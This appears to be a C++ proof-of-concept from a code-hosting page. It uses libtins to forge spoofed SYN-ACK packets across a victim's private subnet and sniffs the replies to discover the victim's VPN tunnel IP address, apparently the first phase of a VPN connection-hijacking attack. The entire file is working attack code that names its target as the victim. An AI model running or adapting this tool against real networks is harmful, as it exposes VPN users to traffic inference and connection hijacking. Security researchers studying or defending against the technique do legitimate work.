You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

173 lines
4.3 KiB

  1. #include <iostream>
  2. #include <iomanip>
  3. #include <vector>
  4. #include <set>
  5. #include <string>
  6. #include <cstdlib>
  7. #include <pthread.h>
  8. #include <unistd.h>
  9. #include <tins/tins.h>
  10. #include <tins/ip.h>
  11. #include <tins/tcp.h>
  12. #include <tins/ip_address.h>
  13. #include <tins/ethernetII.h>
  14. #include <tins/network_interface.h>
  15. #include <tins/sniffer.h>
  16. #include <tins/utils.h>
  17. #include <tins/packet_sender.h>
  18. using std::cout;
  19. using std::endl;
  20. using std::vector;
  21. using std::pair;
  22. using std::setw;
  23. using std::string;
  24. using std::set;
  25. using std::runtime_error;
  26. using namespace Tins;
  27. typedef pair<Sniffer*, string> sniffer_data;
  28. std::string vip;
  29. std::string gwip;
  30. bool verbose = false;
  31. class Scanner {
  32. public:
  33. Scanner(NetworkInterface& interface,
  34. std::string dest_mac,
  35. std::string source_mac,
  36. std::string gateway_ip,
  37. std::string private_ip,
  38. std::string private_ip_subnet_mask,
  39. int sport,
  40. int dport);
  41. void run();
  42. private:
  43. void send_synacks();
  44. bool callback(PDU& pdu);
  45. static void* thread_proc(void* param);
  46. void launch_sniffer();
  47. NetworkInterface iface;
  48. std::string dst_mac;
  49. std::string src_mac;
  50. std::string src_ip;
  51. std::string victim_ip;
  52. std::string victim_subnet;
  53. int sport;
  54. int dport;
  55. Sniffer sniffer;
  56. };
  57. Scanner::Scanner(NetworkInterface& interface,
  58. std::string dest_mac,
  59. std::string source_mac,
  60. std::string gateway_ip,
  61. std::string private_ip,
  62. std::string private_ip_subnet_mask,
  63. int src_port,
  64. int dst_port) : iface(interface), dst_mac(dest_mac), src_mac(source_mac), src_ip(gateway_ip), victim_ip(private_ip), victim_subnet(private_ip_subnet_mask), sport(src_port), dport(dst_port),sniffer(interface.name()) {
  65. }
  66. void* Scanner::thread_proc(void* param) {
  67. Scanner* data = (Scanner*)param;
  68. data->launch_sniffer();
  69. return 0;
  70. }
  71. void Scanner::launch_sniffer() {
  72. sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback));
  73. }
  74. // Handle sniffed packets until we find a response
  75. // with a potential private tun IP address
  76. //
  77. bool Scanner::callback(PDU& pdu) {
  78. // Find the layers we want.
  79. const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
  80. const TCP &tcp = pdu.rfind_pdu<TCP>(); // Grab TCP layer
  81. static int total_seen = 0;
  82. if (ip.src_addr().to_string().rfind("10.", 0) == 0 && tcp.sport() != 22) {
  83. if (verbose) std::cout << "Victim IP is:";
  84. std::cout << ip.src_addr() << "\n";
  85. vip = ip.src_addr();
  86. total_seen += 1;
  87. if (total_seen > 0) {
  88. return false;
  89. }
  90. }
  91. return true;
  92. }
  93. void Scanner::run() {
  94. pthread_t thread;
  95. // Launch our sniff thread.
  96. pthread_create(&thread, 0, &Scanner::thread_proc, this);
  97. // Start sending SYNs to possible private IPs
  98. send_synacks();
  99. // Wait for our sniffer.
  100. void* dummy;
  101. pthread_join(thread, &dummy);
  102. }
  103. // Send syn acks to the given ip address, using the destination ports provided.
  104. void Scanner::send_synacks() {
  105. // Retrieve the addresses.
  106. PacketSender sender;
  107. IPv4Range ip_range = IPv4Range::from_mask(victim_ip, victim_subnet);
  108. for (const IPv4Address &addr : ip_range) {
  109. EthernetII pkt = EthernetII(dst_mac, src_mac) / IP(addr, src_ip) / TCP(dport, sport);
  110. TCP& tcp = pkt.rfind_pdu<TCP>();
  111. tcp.set_flag(TCP::ACK, 1);
  112. tcp.set_flag(TCP::SYN, 1);
  113. if (verbose) std::cout << "Sending to IP:" << addr << std::endl;
  114. sender.send(pkt, iface);
  115. sender.send(pkt, iface);
  116. usleep(10);
  117. }
  118. }
  119. void scan(int argc, char* argv[]) {
  120. std::string dst_mac = argv[1]; // victim MAC address
  121. std::string src_mac = ""; // src mac does not matter
  122. std::string private_ip_subnet = argv[2];
  123. std::string private_ip_subnet_mask = argv[3];
  124. gwip = argv[4]; // IP of server that client is talking to
  125. int sport = 80; // source, dest port for phase-1 are arbitrary
  126. int dport = 80;
  127. IPv4Address ip(gwip);
  128. // Resolve the interface which will be our gateway
  129. NetworkInterface iface(ip);
  130. if (verbose) cout << "Sniffing on interface: " << iface.name() << endl;
  131. // Consume arguments
  132. Scanner scanner(iface, dst_mac, src_mac, gwip, private_ip_subnet,
  133. private_ip_subnet_mask, sport, dport);
  134. scanner.run();
  135. }
  136. int main(int argc, char* argv[]) {
  137. if (argc != 6) {
  138. std::cout << "usage: ./send <DST_MAC> <PRIVATE IP SUBNET> <PRIVATE IP SUBNET MASK> <SOUCE IP> <IFACE>\n";
  139. exit(-1);
  140. }
  141. try {
  142. scan(argc, argv);
  143. }
  144. catch(runtime_error& ex) {
  145. cout << "Error - " << ex.what() << endl;
  146. }
  147. }